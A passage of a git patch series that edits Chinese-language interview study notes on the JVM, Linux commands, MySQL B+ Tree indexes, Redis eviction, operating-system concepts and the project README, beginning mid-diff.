+以下代码是 getAndAddInt() 源码，var1 指示对象内存地址，var2 指示该字段相对对象内存地址的偏移，var4 指示操作需要加的数值，这里为 1。通过 getIntVolatile(var1, var2) 得到旧的预期值，通过调用 compareAndSwapInt() 来进行 CAS 比较，如果 该字段内存地址中的值 ==var5，那么就更新内存地址为 var1+var2 的变量为 var5+var4。可以看到 getAndAddInt() 在一个循环中进行，发生冲突的做法是不断的进行重试。
 
 ```java
 public final int getAndAddInt(Object var1, long var2, int var4) {
diff --git a/notes/Java 虚拟机.md b/notes/Java 虚拟机.md
index 906f4ef6..3bb9f289 100644
--- a/notes/Java 虚拟机.md	
+++ b/notes/Java 虚拟机.md	
@@ -102,7 +102,7 @@ Class 文件中的常量池（编译器生成的各种字面量和符号引用
 
 ## 直接内存
 
-在 JDK 1.4 中新加入了 NIO 类，它可以使用 Native 函数库直接分配堆外内存，然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能，因为其避免了在 Java 堆和 Native 堆中来回复制数据。
+在 JDK 1.4 中新加入了 NIO 类，它可以使用 Native 函数库直接分配堆外内存，然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能，因为避免了在 Java 堆和 Native 堆中来回复制数据。
 
 # 二、垃圾收集
 
@@ -146,7 +146,7 @@ Java 虚拟机使用该算法来判断对象是否可被回收，在 Java 中 GC
 
 ### 3. 引用类型
 
-无论是通过引用计数算法判断对象的引用数量，还是通过可达性分析算法判断对象是否可达，判定对象是否可被回收都与引用有关。
+无论是通过引用计算算法判断对象的引用数量，还是通过可达性分析算法判断对象是否可达，判定对象是否可被回收都与引用有关。
 
 Java 具有四种强度不同的引用类型。
 
@@ -256,7 +256,7 @@ finalize() 类似 C++ 的析构函数，用来做关闭外部资源等工作。
 一般将 Java 堆分为新生代和老年代。
 
 - 新生代使用：复制算法
-- 老年代使用：标记 - 清除 或者 标记 - 整理 算法
+- 老年代使用：标记 - 清理 或者 标记 - 整理 算法
 
 ## 垃圾收集器
 
diff --git a/notes/Linux.md b/notes/Linux.md
index 8f27d75c..ebcc347b 100644
--- a/notes/Linux.md
+++ b/notes/Linux.md
@@ -11,7 +11,6 @@
     * [GNU](#gnu)
     * [开源协议](#开源协议)
 * [二、磁盘](#二磁盘)
-    * [HDD](#hdd)
     * [磁盘接口](#磁盘接口)
     * [磁盘的文件名](#磁盘的文件名)
 * [三、分区](#三分区)
@@ -185,21 +184,6 @@ GNU 计划，译为革奴计划，它的目标是创建一套完全自由的操
 
 # 二、磁盘
 
-## HDD
-
-Hard Disk Drives(HDD) 俗称硬盘，具有以下结构：
-
-- 盘面（Platter）：一个硬盘有多个盘面；
-- 磁道（Track）：盘面上的圆形带状区域，一个盘面可以有多个磁道；
-- 扇区（Track Sector）：磁道上的一个弧段，一个磁道可以有多个扇区，它是最小的物理储存单位，目前主要有 512 bytes 与 4 K 两种大小；
-- 磁头（Head）：与盘面非常接近，能够将盘面上的磁场转换为电信号（读），或者将电信号转换为盘面的磁场（写）；
-- 制动手臂（Actuator arm）：用于在磁道之间移动磁头；
-- 主轴（Spindle）：使整个盘面转动。
-
-<div align="center"> <img src="../pics//014fbc4d-d873-4a12-b160-867ddaed9807.jpg" width=""/> </div><br>
-
-[Decoding UCS Invicta – Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)
-
 ## 磁盘接口
 
 ### 1. IDE
@@ -1025,10 +1009,10 @@ g/re/p（globally search a regular expression and print)，使用正则表示式
 
 ```html
 $ grep [-acinv] [--color=auto] 搜寻字符串 filename
--c ： 计算找到个数
+-c ： 统计个数
 -i ： 忽略大小写
 -n ： 输出行号
--v ： 反向选择，亦即显示出没有 搜寻字符串 内容的那一行
+-v ： 反向选择，也就是显示出没有 搜寻字符串 内容的那一行
 --color=auto ：找到的关键字加颜色显示
 ```
 
@@ -1068,7 +1052,7 @@ $ printf '%10s %5i %5i %5i %8.2f \n' $(cat printf.txt)
 
 awk 每次处理一行，处理的最小单位是字段，每个字段的命名方式为：\$n，n 为字段号，从 1 开始，\$0 表示一整行。
 
-示例 1：取出登录用户的用户名和 ip
+示例：取出登录用户的用户名和 IP
 
 ```html
 $ last -n 5
@@ -1077,7 +1061,9 @@ dmtsai pts/0 192.168.1.100 Thu Jul 9 23:36 - 02:58 (03:22)
 dmtsai pts/0 192.168.1.100 Thu Jul 9 17:23 - 23:36 (06:12)
 dmtsai pts/0 192.168.1.100 Thu Jul 9 08:02 - 08:17 (00:14)
 dmtsai tty1 Fri May 29 11:55 - 12:11 (00:15)
+```
 
+```html
 $ last -n 5 | awk '{print $1 "\t" $3}'
 ```
 
@@ -1087,7 +1073,7 @@ $ last -n 5 | awk '{print $1 "\t" $3}'
 $ awk '条件类型 1 {动作 1} 条件类型 2 {动作 2} ...' filename
 ```
 
-示例 2：/etc/passwd 文件第三个字段为 UID，对 UID 小于 10 的数据进行处理。
+示例：/etc/passwd 文件第三个字段为 UID，对 UID 小于 10 的数据进行处理。
 
 ```text
 $ cat /etc/passwd | awk 'BEGIN {FS=":"} $3 < 10 {print $1 "\t " $3}'
@@ -1104,7 +1090,7 @@ awk 变量：
 | NR | 目前所处理的是第几行数据 |
 | FS | 目前的分隔字符，默认是空格键 |
 
-示例 3：输出正在处理的行号，并显示每一行有多少字段
+示例：显示正在处理的行号以及每一行有多少字段
 
 ```html
 $ last -n 5 | awk '{print $1 "\t lines: " NR "\t columns: " NF}'
@@ -1125,19 +1111,19 @@ dmtsai lines: 5 columns: 9
 
 示例一：查看自己的进程
 
-```
+```sh
 # ps -l
 ```
 
 示例二：查看系统所有进程
 
-```
+```sh
 # ps aux
 ```
 
 示例三：查看特定的进程
 
-```
+```sh
 # ps aux | grep threadx
 ```
 
@@ -1147,7 +1133,7 @@ dmtsai lines: 5 columns: 9
 
 示例：两秒钟刷新一次
 
-```
+```sh
 # top -d 2
 ```
 
@@ -1157,7 +1143,7 @@ dmtsai lines: 5 columns: 9
 
 示例：查看所有进程树
 
-```
+```sh
 # pstree -A
 ```
 
@@ -1167,14 +1153,12 @@ dmtsai lines: 5 columns: 9
 
 示例：查看特定端口的进程
 
-```
+```sh
 # netstat -anp | grep port
 ```
 
 ## 进程状态
 
-<div align="center"> <img src="../pics//76a49594323247f21c9b3a69945445ee.png" width=""/> </div><br>
-
 | 状态 | 说明 |
 | :---: | --- |
 | R | running or runnable (on run queue) |
@@ -1183,9 +1167,11 @@ dmtsai lines: 5 columns: 9
 | Z | zombie (terminated but not reaped by its parent) |
 | T | stopped (either by a job control signal or because it is being traced) |
 
+<div align="center"> <img src="../pics//76a49594323247f21c9b3a69945445ee.png" width=""/> </div><br>
+
 ## SIGCHLD
 
-当一个子进程改变了它的状态时：停止运行，继续运行或者退出，有两件事会发生在父进程中：
+当一个子进程改变了它的状态时（停止运行，继续运行或者退出），有两件事会发生在父进程中：
 
 - 得到 SIGCHLD 信号；
 - waitpid() 或者 wait() 调用会返回。
@@ -1194,7 +1180,7 @@ dmtsai lines: 5 columns: 9
 
 其中子进程发送的 SIGCHLD 信号包含了子进程的信息，包含了进程 ID、进程状态、进程使用 CPU 的时间等。
 
-在子进程退出时，它的进程描述符不会立即释放，这是为了让父进程得到子进程信息。父进程通过 wait() 和 waitpid() 来获得一个已经退出的子进程的信息。
+在子进程退出时，它的进程描述符不会立即释放，这是为了让父进程得到子进程信息，父进程通过 wait() 和 waitpid() 来获得一个已经退出的子进程的信息。
 
 ## wait()
 
@@ -1206,11 +1192,7 @@ pid_t wait(int *status)
 
 如果成功，返回被收集的子进程的进程 ID；如果调用进程没有子进程，调用就会失败，此时返回 -1，同时 errno 被置为 ECHILD。
 
-参数 status 用来保存被收集的子进程退出时的一些状态，如果对这个子进程是如何死掉的毫不在意，只想把这个子进程消灭掉，可以设置这个参数为 NULL：
-
-```c
-pid = wait(NULL);
-```
+参数 status 用来保存被收集的子进程退出时的一些状态，如果对这个子进程是如何死掉的毫不在意，只想把这个子进程消灭掉，可以设置这个参数为 NULL。
 
 ## waitpid()
 
@@ -1238,9 +1220,9 @@ options 参数主要有 WNOHANG 和 WUNTRACED 两个选项，WNOHANG 可以使 w
 
 僵尸进程通过 ps 命令显示出来的状态为 Z（zombie）。
 
-系统所能使用的进程号是有限的，如果大量的产生僵尸进程，将因为没有可用的进程号而导致系统不能产生新的进程。
+系统所能使用的进程号是有限的，如果产生大量僵尸进程，将因为没有可用的进程号而导致系统不能产生新的进程。
 
-要消灭系统中大量的僵尸进程，只需要将其父进程杀死，此时僵尸进程就会变成孤儿进程，从而被 init 所收养，这样 init 就会释放所有的僵死进程所占有的资源，从而结束僵尸进程。
+要消灭系统中大量的僵尸进程，只需要将其父进程杀死，此时僵尸进程就会变成孤儿进程，从而被 init 所收养，这样 init 就会释放所有的僵尸进程所占有的资源，从而结束僵尸进程。
 
 # 参考资料
 
diff --git a/notes/MySQL.md b/notes/MySQL.md
index f6aa853b..1c575fae 100644
--- a/notes/MySQL.md
+++ b/notes/MySQL.md
@@ -9,7 +9,7 @@
     * [字符串](#字符串)
     * [时间和日期](#时间和日期)
 * [三、索引](#三索引)
-    * [B Tree 原理](#b-tree-原理)
+    * [B+ Tree 原理](#b-tree-原理)
     * [索引分类](#索引分类)
     * [索引的优点](#索引的优点)
     * [索引优化](#索引优化)
@@ -125,49 +125,33 @@ MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期，并提
 
 索引是在存储引擎层实现的，而不是在服务器层实现的，所以不同存储引擎具有不同的索引类型和实现。
 
-## B Tree 原理
+## B+ Tree 原理
 
-### 1. B-Tree
+### 1. 数据结构
 
-<div align="center"> <img src="../pics//06976908-98ab-46e9-a632-f0c2760ec46c.png"/> </div><br>
+B Tree 指的是 Balance Tree，也就是平衡树。平衡树时一颗查找树，并且所有叶子节点位于同一层。
 
-定义一条数据记录为一个二元组 [key, data]，B-Tree 是满足下列条件的数据结构：
+B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现，它具有 B Tree 的平衡性，并且通过顺序访问指针来提高区间查询的性能。
 
-- 所有叶节点具有相同的深度，也就是说 B-Tree 是平衡的；
-- 一个节点中的 key 从左到右非递减排列；
-- 如果某个指针的左右相邻 key 分别是 key<sub>i</sub> 和 key<sub>i+1</sub>，且不为 null，则该指针指向节点的所有 key 大于等于 key<sub>i</sub> 且小于等于 key<sub>i+1</sub>。
-
-查找算法：首先在根节点进行二分查找，如果找到则返回对应节点的 data，否则在相应区间的指针指向的节点递归进行查找。
-
-由于插入删除新的数据记录会破坏 B-Tree 的性质，因此在插入删除时，需要对树进行一个分裂、合并、旋转等操作以保持 B-Tree 性质。
-
-### 2. B+Tree
-
-<div align="center"> <img src="../pics//7299afd2-9114-44e6-9d5e-4025d0b2a541.png"/> </div><br>
-
-与 B-Tree 相比，B+Tree 有以下不同点：
-
-- 每个节点的指针上限为 2d 而不是 2d+1（d 为节点的出度）；
-- 内节点不存储 data，只存储 key；
-- 叶子节点不存储指针。
-
-### 3. 顺序访问指针
+在 B+ Tree 中，一个节点中的 key 从左到右非递减排列，如果某个指针的左右相邻 key 分别是 key<sub>i</sub> 和 key<sub>i+1</sub>，且不为 null，则该指针指向节点的所有 key 大于等于 key<sub>i</sub> 且小于等于 key<sub>i+1</sub>。
 
 <div align="center"> <img src="../pics//061c88c1-572f-424f-b580-9cbce903a3fe.png"/> </div><br>
 
-一般在数据库系统或文件系统中使用的 B+Tree 结构都在经典 B+Tree 基础上进行了优化，在叶子节点增加了顺序访问指针，做这个优化的目的是为了提高区间访问的性能。
+### 2. 操作
 
-### 4. 优势
+操作时，首先在根节点进行二分查找，找到一个 key 所在的指针，然后递归地在指针所指向的节点进行查找。直到查找到叶子节点，然后在叶子节点上进行二分查找，找出 key 所对应的 data。
 
-红黑树等平衡树也可以用来实现索引，但是文件系统及数据库系统普遍采用 B Tree 作为索引结构，主要有以下两个原因：
+插入删除操作记录会破坏平衡树的平衡性，因此在插入删除时，需要对树进行一个分裂、合并、旋转等操作。
+
+### 3. 与红黑树的比较
+
+红黑树等平衡树也可以用来实现索引，但是文件系统及数据库系统普遍采用 B+ Tree 作为索引结构，主要有以下两个原因：
 
 （一）更少的检索次数
 
 平衡树检索数据的时间复杂度等于树高 h，而树高大致为 O(h)=O(log<sub>d</sub>N)，其中 d 为每个节点的出度。
 
-红黑树的出度为 2，而 B Tree 的出度一般都非常大。红黑树的树高 h 很明显比 B Tree 大非常多，因此检索的次数也就更多。
-
-B+Tree 相比于 B-Tree 更适合外存索引，因为 B+Tree 内节点去掉了 data 域，因此可以拥有更大的出度，检索效率会更高。
+红黑树的出度为 2，而 B+ Tree 的出度一般都非常大。红黑树的树高 h 很明显比 B+ Tree 大非常多，因此检索的次数也就更多。
 
 （二）利用计算机预读特性
 
@@ -175,8 +159,6 @@ B+Tree 相比于 B-Tree 更适合外存索引，因为 B+Tree 内节点去掉了
 
 操作系统一般将内存和磁盘分割成固态大小的块，每一块称为一页，内存与磁盘以页为单位交换数据。数据库系统将索引的一个节点的大小设置为页的大小，使得一次 I/O 就能完全载入一个节点，并且可以利用预读特性，相邻的节点也能够被预先载入。
 
-更多内容请参考：[MySQL 索引背后的数据结构及算法原理](http://blog.codinglabs.org/articles/theory-of-mysql-index.html)
-
 ## 索引分类
 
 ### 1. B+Tree 索引
@@ -442,3 +424,4 @@ MySQL 读写分离能提高性能的原因在于：
 - [服务端指南 数据存储篇 | MySQL（09） 分库与分表带来的分布式困境与应对之策](http://blog.720ui.com/2017/mysql_core_09_multi_db_table2/ "服务端指南 数据存储篇 | MySQL（09） 分库与分表带来的分布式困境与应对之策")
 - [How to create unique row ID in sharded databases?](https://stackoverflow.com/questions/788829/how-to-create-unique-row-id-in-sharded-databases)
 - [SQL Azure Federation – Introduction](http://geekswithblogs.net/shaunxu/archive/2012/01/07/sql-azure-federation-ndash-introduction.aspx "Title of this entry.")
+- [MySQL 索引背后的数据结构及算法原理](http://blog.codinglabs.org/articles/theory-of-mysql-index.html)
diff --git a/notes/Redis.md b/notes/Redis.md
index 247d0987..c54287c8 100644
--- a/notes/Redis.md
+++ b/notes/Redis.md
@@ -420,6 +420,8 @@ Reids 具体有 6 种淘汰策略：
 
 使用 Redis 缓存数据时，为了提高缓存命中率，需要保证缓存数据都是热点数据。可以将内存最大使用量设置为热点数据占用的内存量，然后启用 allkeys-lru 淘汰策略，将最近最少使用的数据淘汰。
 
+Redis 4.0 引入了 volatile-lfu 和 allkeys-lfu 淘汰策略，LFU 策略通过统计访问频率，将访问频率最少的键值对淘汰。
+
 # 八、持久化
 
 Redis 是内存型数据库，为了保证数据在断电后不会丢失，需要将内存中的数据持久化到硬盘上。
@@ -601,3 +603,4 @@ Redis 没有关系型数据库中的表这一概念来将同种类型的数据
 - [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
 - [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
 - [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
+- [Using Redis as an LRU cache](https://redis.io/topics/lru-cache)
diff --git a/notes/计算机操作系统.md b/notes/计算机操作系统.md
index 5c9f63a7..6bfb559c 100644
--- a/notes/计算机操作系统.md
+++ b/notes/计算机操作系统.md
@@ -23,6 +23,7 @@
     * [段页式](#段页式)
     * [分页与分段的比较](#分页与分段的比较)
 * [五、设备管理](#五设备管理)
+    * [磁盘结构](#磁盘结构)
     * [磁盘调度算法](#磁盘调度算法)
 * [六、链接](#六链接)
     * [编译系统](#编译系统)
@@ -304,7 +305,7 @@ void P2() {
 
 为了同步生产者和消费者的行为，需要记录缓冲区中物品的数量。数量可以使用信号量来进行统计，这里需要使用两个信号量：empty 记录空缓冲区的数量，full 记录满缓冲区的数量。其中，empty 信号量是在生产者进程中使用，当 empty 不为 0 时，生产者才可以放入物品；full 信号量是在消费者进程中使用，当 full 信号量不为 0 时，消费者才可以取走物品。
 
-注意，不能先对缓冲区进行加锁，再测试信号量。也就是说，不能先执行 down(mutex) 再执行 down(empty)。如果这么做了，那么可能会出现这种情况：生产者对缓冲区加锁后，执行 down(empty) 操作，发现 empty = 0，此时生产者睡眠。消费者不能进入临界区，因为生产者对缓冲区加锁了，也就无法执行 up(empty) 操作，empty 永远都为 0，那么生产者和消费者就会一直等待下去，造成死锁。
+注意，不能先对缓冲区进行加锁，再测试信号量。也就是说，不能先执行 down(mutex) 再执行 down(empty)。如果这么做了，那么可能会出现这种情况：生产者对缓冲区加锁后，执行 down(empty) 操作，发现 empty = 0，此时生产者睡眠。消费者不能进入临界区，因为生产者对缓冲区加锁了，消费者就无法执行 up(empty) 操作，empty 永远都为 0，导致生产者永远等待下，不会释放锁，消费者因此也会永远等待下去。
 
 ```c
 #define N 100
@@ -314,7 +315,7 @@ semaphore empty = N;
 semaphore full = 0;
 
 void producer() {
-    while(TRUE){
+    while(TRUE) {
         int item = produce_item();
         down(&empty);
         down(&mutex);
@@ -325,7 +326,7 @@ void producer() {
 }
 
 void consumer() {
-    while(TRUE){
+    while(TRUE) {
         down(&full);
         down(&mutex);
         int item = remove_item();
@@ -542,7 +543,7 @@ int pipe(int fd[2]);
 
 它具有以下限制：
 
-- 只支持半双工通信（单向传输）；
+- 只支持半双工通信（单向交替传输）；
 - 只能在父子进程中使用。
 
 <div align="center"> <img src="../pics//53cd9ade-b0a6-4399-b4de-7f1fbd06cdfb.png"/> </div><br>
@@ -707,7 +708,7 @@ FIFO 常用于客户-服务器应用程序中，FIFO 用作汇聚点，在客户
 
 虚拟内存的目的是为了让物理内存扩充成更大的逻辑内存，从而让程序获得更多的可用内存。
 
-为了更好的管理内存，操作系统将内存抽象成地址空间。每个程序拥有自己的地址空间，这个地址空间被分割成多个块，每一块称为一页。这些页被映射到物理内存，但不需要映射到连续的物理内存，也不需要所有页都必须在物理内存中。当程序引用到一部分不在物理内存中的地址空间时，由硬件执行必要的映射，将缺失的部分装入物理内存并重新执行失败的指令。
+为了更好的管理内存，操作系统将内存抽象成地址空间。每个程序拥有自己的地址空间，这个地址空间被分割成多个块，每一块称为一页。这些页被映射到物理内存，但不需要映射到连续的物理内存，也不需要所有页都必须在物理内存中。当程序引用到不在物理内存中的页时，由硬件执行必要的映射，将缺失的部分装入物理内存并重新执行失败的指令。
 
 从上面的描述中可以看出，虚拟内存允许程序不用将地址空间中的每一页都映射到物理内存，也就是说一个程序不需要全部调入内存就可以运行，这使得有限的内存运行大程序称为可能。例如有一台计算机可以产生 16 位地址，那么一个程序的地址空间范围是 0\~64K。该计算机只有 32KB 的物理内存，虚拟内存技术允许该计算机运行一个 64K 大小的程序。
 
@@ -715,12 +716,11 @@ FIFO 常用于客户-服务器应用程序中，FIFO 用作汇聚点，在客户
 
 ## 分页系统地址映射
 
-- 内存管理单元（MMU）：管理着地址空间和物理内存的转换。
-- 页表（Page table）：页（地址空间）和页框（物理内存空间）的映射表。例如下图中，页表的第 0 个表项为 010，表示第 0 个页映射到第 2 个页框。页表项的最后一位用来标记页是否在内存中。
+内存管理单元（MMU）管理着地址空间和物理内存的转换，其中的页表（Page table）存储着页（程序地址空间）和页框（物理内存空间）的映射表。
 
-下图的页表存放着 16 个页，这 16 个页需要用 4 个比特位来进行索引定位。因此对于虚拟地址（0010 000000000100），前 4 位是用来存储页面号，而后 12 位存储在页中的偏移量。
+下图的页表存放着 16 个页，这 16 个页需要用 4 个比特位来进行索引定位，也就是存储页面号，剩下 12 个比特位存储偏移量。
 
-（0010 000000000100）根据前 4 位得到页号为 2，读取表项内容为（110 1），它的前 3 为为页框号，最后 1 位表示该页在内存中。最后映射得到物理内存地址为（110 000000000100）。
+例如对于虚拟地址（0010 000000000100），前 4 位是存储页面号 2，读取表项内容为（110 1）。该页在内存中，并且页框的地址为 （110 000000000100）。
 
 <div align="center"> <img src="../pics//cf4386a1-58c9-4eca-a17f-e12b1e9770eb.png" width="500"/> </div><br>
 
@@ -828,11 +828,22 @@ FIFO 算法可能会把经常使用的页面置换出去，为了避免这一问
 
 # 五、设备管理
 
+## 磁盘结构
+
+- 盘面（Platter）：一个磁盘有多个盘面；
+- 磁道（Track）：盘面上的圆形带状区域，一个盘面可以有多个磁道；
+- 扇区（Track Sector）：磁道上的一个弧段，一个磁道可以有多个扇区，它是最小的物理储存单位，目前主要有 512 bytes 与 4 K 两种大小；
+- 磁头（Head）：与盘面非常接近，能够将盘面上的磁场转换为电信号（读），或者将电信号转换为盘面的磁场（写）；
+- 制动手臂（Actuator arm）：用于在磁道之间移动磁头；
+- 主轴（Spindle）：使整个盘面转动。
+
+<div align="center"> <img src="../pics//014fbc4d-d873-4a12-b160-867ddaed9807.jpg"/> </div><br>
+
 ## 磁盘调度算法
 
 读写一个磁盘块的时间的影响因素有：
 
-- 旋转时间（主轴旋转磁盘，使得磁头移动到适当的扇区上）
+- 旋转时间（主轴转动盘面，使得磁头移动到适当的扇区上）
 - 寻道时间（制动手臂移动，使得磁头移动到适当的磁道上）
 - 实际的数据传输时间
 
@@ -933,8 +944,9 @@ gcc -o hello hello.c
 - Tanenbaum A S, Bos H. Modern operating systems[M]. Prentice Hall Press, 2014.
 - 汤子瀛, 哲凤屏, 汤小丹. 计算机操作系统[M]. 西安电子科技大学出版社, 2001.
 - Bryant, R. E., & O’Hallaron, D. R. (2004). 深入理解计算机系统.
+- 史蒂文斯. UNIX 环境高级编程 [M]. 人民邮电出版社, 2014.
 - [Operating System Notes](https://applied-programming.github.io/Operating-Systems-Notes/)
-- [进程间的几种通信方式](http://blog.csdn.net/yufaw/article/details/7409596)
 - [Operating-System Structures](https://www.cs.uic.edu/\~jbell/CourseNotes/OperatingSystems/2_Structures.html)
 - [Processes](http://cse.csusb.edu/tongyu/courses/cs460/notes/process.php)
 - [Inter Process Communication Presentation[1]](https://www.slideshare.net/rkolahalam/inter-process-communication-presentation1)
+- [Decoding UCS Invicta – Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)

From df8cd08303067a37e7b6a5326bad88cfdc7abbf5 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Fri, 3 Aug 2018 00:17:10 +0800
Subject: [PATCH 48/87] auto commit

---
 other/README.md | 3 +++
 1 file changed, 3 insertions(+)
 create mode 100644 other/README.md

diff --git a/other/README.md b/other/README.md
new file mode 100644
index 00000000..39876f02
--- /dev/null
+++ b/other/README.md
@@ -0,0 +1,3 @@
+- 其他人添加的全新内容
+- 主页 README 引用的图片
+- 微信群描述文件
\ No newline at end of file

From c4cd8a30ffde6049ee703943e5fc9a53a93c54ff Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <1029579233@qq.com>
Date: Fri, 3 Aug 2018 00:20:20 +0800
Subject: [PATCH 49/87] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index c015a100..39cedf7b 100644
--- a/README.md
+++ b/README.md
@@ -6,7 +6,7 @@
 <div align="center">
     <img src="other/LogoMakr_0zpEzN.png" width="150px">
     <br>
-    <a href="other/Group.md"> <img src="https://img.shields.io/badge/>-group-4ab8a1.svg"></a> <a href="https://legacy.gitbook.com/book/cyc2018/interview-notebook/details"> <img src="https://img.shields.io/badge/_-gitbook-4ab8a1.svg"></a> 
+    <a href="other/Group.md"> <img src="https://img.shields.io/badge/>-wechat_group-4ab8a1.svg"></a> <a href="https://legacy.gitbook.com/book/cyc2018/interview-notebook/details"> <img src="https://img.shields.io/badge/_-gitbook-4ab8a1.svg"></a> 
 </div>
 
 <!-- [![](https://img.shields.io/badge/>-gitter-blue.svg)](https://gitter.im/CyC2018-Interview-Notebook/Lobby?utm_source=share-link&utm_medium=link&utm_campaign=share-link) [![](https://img.shields.io/badge/_-gitbook-4ab8a1.svg)](https://legacy.gitbook.com/book/cyc2018/interview-notebook/details)  -->

From ae14046536061e69d46858fb168ac6bb53cbb716 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <1029579233@qq.com>
Date: Fri, 3 Aug 2018 00:20:56 +0800
Subject: [PATCH 50/87] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 39cedf7b..56627328 100644
--- a/README.md
+++ b/README.md
@@ -6,7 +6,7 @@
 <div align="center">
     <img src="other/LogoMakr_0zpEzN.png" width="150px">
     <br>
-    <a href="other/Group.md"> <img src="https://img.shields.io/badge/>-wechat_group-4ab8a1.svg"></a> <a href="https://legacy.gitbook.com/book/cyc2018/interview-notebook/details"> <img src="https://img.shields.io/badge/_-gitbook-4ab8a1.svg"></a> 
+    <a href="other/Group.md"> <img src="https://img.shields.io/badge/>-wechat-4ab8a1.svg"></a> <a href="https://legacy.gitbook.com/book/cyc2018/interview-notebook/details"> <img src="https://img.shields.io/badge/_-gitbook-4ab8a1.svg"></a> 
 </div>
 
 <!-- [![](https://img.shields.io/badge/>-gitter-blue.svg)](https://gitter.im/CyC2018-Interview-Notebook/Lobby?utm_source=share-link&utm_medium=link&utm_campaign=share-link) [![](https://img.shields.io/badge/_-gitbook-4ab8a1.svg)](https://legacy.gitbook.com/book/cyc2018/interview-notebook/details)  -->

From 54073390ecefa3457a027026a7aefed7c19ef2a6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <1029579233@qq.com>
Date: Fri, 3 Aug 2018 00:22:26 +0800
Subject: [PATCH 51/87] Update Group.md

---
 other/Group.md | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/other/Group.md b/other/Group.md
index 5e7bbc90..fee7b8bf 100644
--- a/other/Group.md
+++ b/other/Group.md
@@ -1,10 +1,14 @@
-创建交流群的主要目的是为了为大家提供一个交流平台，方便大家在学习的过程中互相讨论。
+创建交流群的主要目的是为了给大家提供一个交流平台，方便大家在学习的过程中互相讨论。
 
-这个交流群不是一个笔者的问题回答群，我更希望大家能够愿意积极回答，我相信提问和回答的过程都可以提升自己对知识的掌握程度。
+这个交流群不是一个笔者的问题回答群，我更希望大家能够愿意积极回答，我相信提问和回答的过程都可以帮助大家对知识的掌握程度。
 
 因为笔者白天要上班，因此不能及时进行回复，大部分时间会处于潜水状态。
 
-至于交流群和 Issue 有什么区别，主要是两方面：一是交流群实时性高一些，二是交流群会更活跃一些。另外，Issue 主要是用来发布一些项目中的错误和一些改进建议，当然也可以发布一些可以讨论的问题，交流群可以讨论的内容比较广，例如在阅读本项目过程中不理解的地方可以在交流群中寻求别人的帮助、新技术的讨论、招聘信息、学习和工作的感受等等。
+至于交流群和 Issue 有什么区别，主要是两方面：一是交流群实时性高一些，二是交流群会更活跃一些。
+
+另外，Issue 主要是用来发布一些项目中的错误和一些改进建议，当然也可以发布一些可以讨论的问题。
+
+交流群可以讨论的内容比较广，例如在阅读本项目过程中不理解的地方可以在交流群中寻求别人的帮助、新技术的讨论、招聘信息、学习和工作的感受等等。
 
 交流群不讨论政治，不讨论有争议性的话题，不发表仇视言论，不传播谣言，不发布广告（招聘信息之类的可以）。
 

From 781259816ddebe5a41bf08ba169156b81e99c1e7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <1029579233@qq.com>
Date: Fri, 3 Aug 2018 13:01:18 +0800
Subject: [PATCH 52/87] Update README.md

---
 README.md | 42 +++++++++++++++++++++---------------------
 1 file changed, 21 insertions(+), 21 deletions(-)

diff --git a/README.md b/README.md
index 56627328..87d4d460 100644
--- a/README.md
+++ b/README.md
@@ -15,59 +15,59 @@
 
 > [剑指 Offer 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/剑指%20offer%20题解.md)
 
-目录根据原书第二版进行编排。
+目录根据原书第二版进行编排，代码和原书有所不同，尽量实现地比原书更加简洁。
 
 > [Leetcode 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Leetcode%20题解.md)
 
-做了一个大致分类，并对每种分类题型的解题思路做了总结。
+对题目做了一个大致分类，并对每种题型的解题思路做了总结。
 
 > [算法](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/算法.md)
 
-主要参考 Robert Sedgewick 的算法书进行实现，源代码以及测试代码可在另一个仓库获取。
+排序、并查集、栈和队列、红黑树、散列表。
 
 ## 操作系统 :computer:
 
 > [计算机操作系统](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/计算机操作系统.md)
 
-参考 现代操作系统、Unix 环境高级编程、深入理解计算机系统。
+进程管理、内存管理、设备管理、链接。
 
 > [Linux](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Linux.md)
 
-参考 鸟哥的 Linux 私房菜。
+基本实现原理以及基本操作。
 
 ## 网络 :cloud:
 
 > [计算机网络](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/计算机网络.md)
 
-参考 谢希仁的计算机网络、计算机网络 自顶向下方法、TCP/IP 详解。
+物理层、链路层、网络层、运输层、应用层。
 
 > [HTTP](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/HTTP.md)
 
-参考 图解 HTTP，更多的是参考网上的文档，比如 MDN、维基百科等。
+方法、状态码、Cookie、缓存、连接管理、HTTPs、HTTP 2.0。
 
 > [Socket](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Socket.md)
 
-参考 Unix 网络编程。
+I/O 模型、I/O 多路复用。
 
 ## 面向对象 :couple:
 
 > [设计模式](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/设计模式.md)
 
-参考 Head First 设计模式、设计模式 可复用面向对象软件的基础，实现了 Gof 的 23 种设计模式。
